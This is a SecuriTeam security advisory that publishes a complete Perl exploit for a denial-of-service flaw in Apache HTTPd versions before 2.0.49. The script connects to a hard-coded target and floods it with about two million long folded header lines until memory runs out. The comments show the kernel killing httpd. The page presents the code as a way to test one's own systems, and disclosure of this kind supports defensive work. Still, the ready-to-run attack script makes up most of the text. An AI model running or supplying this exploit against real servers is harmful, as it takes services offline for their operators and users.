SecuriTeam - Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)

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As we reported in our previous article, Apache HTTPd Arbitrary Long HTTP Headers DoS, under certain conditions passing arbitrary long headers to Apache will allocate large chunks of memory which eventually will lead to a DoS condition. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by bkbll.
The original article can be found at: http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59

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Exploit:
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
$buf=" $buf4\r\n";
send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);

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